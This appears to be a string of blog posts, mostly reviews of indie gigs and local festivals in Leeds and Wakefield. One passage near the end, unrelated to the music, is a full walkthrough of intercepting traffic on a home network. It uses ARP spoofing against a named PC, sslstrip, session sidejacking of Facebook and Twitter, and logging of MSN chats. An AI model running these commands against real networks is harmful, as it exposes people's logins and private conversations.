But first the support, The Heartbreaks from Morcambe

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I quite like them, a bit of indie crooning never did anyone any harm.

So to Moz, much nearer, not quite the chaos of last time I saw him here, but the guy is in fine fettle.

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Pretty much the same set as Bradford but with an encore of “Panic”, I leave happy slipping down the Leeds side street to the car park.

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The strings added even more epicness to the already epic sound, really enjoy.

As always I’m more than a little excited to be seeing Morrissey and tonight is no exception, although having watched his Glastonbury set on the tv 2 days earlier I think I may have spoilt the set.

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Despite being on the backrow right at the top with a view that only just includes the front of the stage, it’s still fun (sounds great). A set of at least 5 smiths tracks is great. I leave happy, all be it a little sweaty.

It’s the first event of it’s kind in the Merrie city, mostly organised by the team at The Hop and cross my fingers that it all works out, exciting times to be living in Wakefield (new art gallery, new shopping center, new hospital and high security prison).

So after a long journey from home taking the best part of 5 minutes I’m stood outside The Hop in the sunshine, off to get my wristband and catch…

The Spills @ The Hop Wakefield

It’s early so I’m surprised to see a nearly full Hop, I squeeze in but as soon as I arrive I have to go and meet my mate to give him his ticket, but still had time to see their drummer fall off the back of the stage.

And so we head to the Town Hall to see…

Blood Oranges @ Wakefield Town Hall

On arrival to the building we are directed upstairs to “The Kingswood Suite”, a rather large function room complete with bar facilities and grand interior décor. We grab a beer and await the arrival of the band.

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Every now and again you see what bands call “technical difficulties”, today the hand of fate points the finger of cock-up at Blood Oranges, as they enter the stage and tune up a string snaps and then same one snaps during the first track – oh dear, so they play the set with one guitar despite best efforts of the bands family members attempts to locate a suitable replacement from the green room.

Just Handshakes, We’re British @ Wakefield Town Hall

I’m not particularly looking forward to these, the set I saw earlier in the year at “Live at Leeds” was a bit dull. So as a sit on the plush carpeted floor of the venue with a pint I’m surprised that I find their catchy twee pop familiar, maybe I like them more than I think.

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As is customary after a few beers I need the loo, normally I wouldn’t mention it but as I as I enter the gents there is obviously someone being “ill” in the cubical. Not just a bit ill, but full blown “huey” yelling. Eventually a bedraggled figure emerges from the cubical and staggers through the door and across to the green room. How odd.

Nepoleon IIIrd @ Mustangs Wakefield

I feel the need to see Nepoleon as he’s been around for years. It turns out to be a bad choice for me, his beat filled dance electronica is an urban kilometre outside my comfort zone.

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It’s also my first ever visit to “Mustang Sallys” it’s as tacky (quite literally – do they not have jif micro liquid here ?) as I’d have expected and the beer tastes of pipe cleaner, ummm minty lager.

Tiny Planets @ Wakefield Town Hall

Back to the Town Hall to catch the end of Tiny Planets, I quite like the snippets that I hear and the singer confesses to “being really nervous before the gig” – no s#!t, this is the bedraggled figure who was spewing in the gents earlier.

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So let’s try something new.

The Windup Birds @ Mustangs Wakefield

Now this was a pleasant find, imagine Art Brut, with Eddie Argos dressed in the skin of Paul Morley, singing Half Man Half Biscuit lyrics over a Fall backing track in the vocal style of Johnny Vegas.

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I stare quizzically, almost mesmerised as I try to workout if I hate it or love it, I decide I love it.

Runaround Kids @ The Hop Wakefield

Oh my, I think i love this band, it’s all very Cribs like with a couple of stand out non Cribs like tracks.

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I’m very pleased to say the place is rammed and are greeted with cheers that the local heros deserve. I look forward to the album launch lots.

The Grand @ Graziers Wakefield

The 4th venue of the day and a rather decent pint of Tim Taylors Landlord. So the band, yep I like them…

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…perhaps a little on the epic side of indie in places, but yep some good tracks.

And so for food, after finding a decent 3G signal urban spoon directs me to Bollywood Lounge and very nice it was too (and reasonably priced).

So full of Chicken Tikka Keema Balti I head early to the predictably busy…

Los Campensinos @ The Hop Wakefield

Seeing Los Camps in 200 capacity venue is something I was really looking forward to. It’s a squeeze as they all crowd on the tiny stage.

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I’ve probably seen these about a dozen times and this is everything I had hoped for and more. Only slightly marred by the pissed up grey haired Boris Johnson look a like in the weddoes tshirt and checked red shirt behaving like a tit, deliberately trying to push kids over in the mosh. Where is the security ? I feel slightly ashamed.

I leave one before the end to make sure I catch…

The Wedding Present @ Mustangs Wakefield

My fave band, in my hometown, It should be perfect, but it’s not.

The tacky USA theme club just seems wrong, the sponsors intro seemed out of place, the sound – FFS I can hardly hear the guitars, just the bass.

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There soon developed some “tension” between the crowd and the bouncers, clearly they weren’t used to people moshing and tried to stop them. Eventually things got ugly and several fans were ejected and according to what I heard on various forums (although I didn’t see it) were assaulted.

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So the gig stopped, the band talked to the organisers and the bouncers were kicked out. Then for the final three songs it got really good.

After the gig there was a post match analysis with my mates off the Weddoes forum, we agreed that it’s quite the oddest weddoes gig we’ve been to.

The Retrospective

So the day on the whole was 95% brilliant, amazing line up, easy access to venues, just great. But the 5%, oh a horrid 5% – Mustangs bouncers were bang out of order.

So more than a ripple of applause to the organisers. Looking forward to next year already.

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…it’s a fine plan, maybe a few more “unknow” bands this year than I’m used to but lastfm helps decide. However, not the best start to the day, a combination of bus timings and a dodgy door lock at chez Ibis means I can’t get in to see..

Circles @ Nation of Shopkeepers
Instead I “listen” from behind a screen in the bar next door. Not a bad start, perfectly acceptable puchy indie.

Runaround Kids @ The Faversham
Finally I get to see The Runaround Kids, and I’m not dissapointed, theres a very heavy Cribs sound in there (and accent too) but a couple of standout tracks from the Kiss Chase EP

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Let’s Buy Happiness @ Leeds Met
Next up is some female vocaled local indie music. Boy can that girl sing, really sing, sadly without being too familiar with the band it sounds like just the one song. By the third one in I’m starting to wonder if I’ve heard it before, suspect I need a bit more of a listen.

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Just Handshakes, we’re British @ Leeds Met
Listed in the festivals line up as similar to the “Wedding Present” – so naturally I’m there. There appears to be some descrepency here, the lead singer is the chemical opposite to David Gedge in so many ways. Basically the problem is it’s impossible to hear the lead singer, her high pitched vocals are just to quiet, please Mr Soundman turn her up! Maybe I’ll watch them at the Long Divison Festival in Wakefield in June and try again.

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Suzukis @ Leeds Met
Ok, lets have a something a little more angry, possibly a little punk – OK for a couple and then I have a wander…

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…and look at some roadies at Leeds Academy…

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…see the next band on are described as “Kassidy” apparently acoustic rock. I wander back to the Met.

Stalking Horse @ Leeds Met
So I’m about to witness the first gig of Leeds indie supergroup fronted by the ex-this-et-al frontman.

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Quite enjoy it although it’s very “epic” sounding

Mazes @ Leeds Met
Really like these lads, lovely low-fi indie.
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Let’s Wrestle @ Leeds Met
And so to one I’ve been looking forward to for ages, a personal fave album of 2010 In The Court of the Wrestling Lets and my first time so see them.

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They were great and I end up jumping about at the front with the other fans, much much fun!

Futureheads @ Leeds Uni Stylus
Haven’t seen these guys for years, not since the NME tour with Kaiser Chiefs, Bloc Party and Killers. They certainly haven’t lost their edge.

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Terrifically tight set, including crowd pleasing hits and an odd acapella folk song that sounded amazing.

Young Knives @ Brudenell social Club
It’s getting late and I’m getting tired, so the last thing I need is a 30 minute wait whilst the Young Knives set up. In all fairness I’m a “bit” drunk and shortly after they start I’m willing them to finish, this more much more to do with me being shattered and I can’t really be fair judge of the performance.

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I’ll find another blog somewhere and find out if they were any good

So it’s with glee that I find “Pete and the Pirates” are in town. So in a fairly full Hop I watch a selection of old classics and new tracks from the forthcoming album.

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I’m please to say the new stuff on first listen sounds on par with old, looking forward to hearing more. Maybe I’ll see them at the Cockpit next month.

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Still wish thier van hadn’t broke down on the way to Leeds Festival all those years ago, would have been great to see them back then. Anyway I digress, a smashing night and a great little venue (and near my house too).

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A great crowd, great set and a teriffic set.Not too keen on the Bruce Springsteen country segway in the encore, but that doesn’t spoil it for me.

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Fave moment of the night was during one of the rare quiter tracks, two durnken young lasses pushed their way to the front with one of them talking excessively loudly to her mate. The whole of the front portion of the crowd in unison turned and gave them a collective “shhhh” – it worked.

Oh and a ripple of applause to the Leeds based support YonderBoy – great stuff.

start-network
startx
echo 1 > /proc/sys/net/ipv4/ip_forward

Next we tell the gateway I’m juniorburgins pc (192.168.2.53) and juniorburgins pc I’m the gateway (192.168.2.1)

arpspoof -i eth0 -t 192.168.2.53 192.168.2.1

Then I setup up the firewall rules to allow web trafic to flow and start sslstrip to strip ssl encoding

iptables -t nat -A PREROUTING -p tcp –destination-port 80 -j REDIRECT –to-ports 10000
sslstrip -p -k -f

Leave that running and in a new shell set ferret grabbing data from the network

/pentest/sniffers/hamster/ferret -i eth0

Next start a webserver that shows me what ferret has found

/pentest/sniffers/hamster/hamster

Set Firefox to use the proxy on port 1234 and then http://hamster/ and let the paranoia commence. Here I snoop on facebook and then sidejack twitter.
Now I resort to snooping on MSN using imspector:

wget http://www.imspector.org/downloads/imspector-0.9.tar.gz
tar -zxvf imspector-0.9.tar.gz
cd imspector-0.9
make
make install

Lets start it up…

iptables -t nat -A PREROUTING -p tcp –destination-port 1863 -j REDIRECT –to-ports 16667
imspector -d

Wait whilst theres some chater and checkout the contents of:

/var/log/imspector/MSN/

Now remember, prevention is better than cure so before you resort to all this teach the kids that staying safe on line is a serious business and it’s not just about what information you share, it’s also what you take – so beware of malware and take care of your pc.

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I’ve said it on many occasions I love Leeds Met as venue because it always sounds great, but tonight it’s not the case. It’s a bit “muddy” and althought we all love the set list comprises of a back catalogue to get the crowd going, for me it’s a little hard work. Classics like “Something Wicked” sound really muffled, fortuntely “Fear of Drowning” can survive any PA related attack.

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Hamilton takes center stage and proves to be a bit of a turning point as things just start to sound better. “We Are Sound” sounds like an anthemically noisy and classic and the gig clicks into place.

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Singles “Oily Stage”, “Zeus”, “Lights Out For Darker Skies” and “Waving Flags” are greeted by the crowd as classics, there is further joy as very drunk Heston Blumenthal look alike who could hardly stand and to many down the front has been a complete pain in the arse is dragged from the crowd by security.

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Finally the band tear the place apart with “Carrion” and a segway into “All In It” mass sing along – quite a moving experience.

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The encore is preceeded by cheesey mass chant of “Easy”, but hey it’s a lary Saturday in Leeds and I’d be narked if it was anything else.

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“Spirit Of St Louis” is still probably my fave BSP track, I’d like to hear it again without so much improv from Yan, but what the hell its still SOSL. They close on “No Lucifer”, and that’s right on button – nearly a 2 hour set.

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So it’s not a classic, it never could be as much fun as sweaty November night in 2003 at the Josephs Well with the Killers as support. But as 2011 Saturday nights in Leeds go with British Sea Power it’s still great.

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So it happens that tonight the band hit the Cockpit 2 – which despite the commercial lure of the “NME Insertnameofsponsour Tour” at the “Insrtnameofsponsor Academy” across town the venue is still packed (dear futuresound – why not Cockpit 1?)

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It’s the first time I’ve been in the cockpit 2 since the improvements to the lighting and PA – and it’s fantastic.

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To cut a long rambling story short, they are great, the crowd love em. Yes it sounds exactly like the album but much, much louder – but how can that be a bad thing ?

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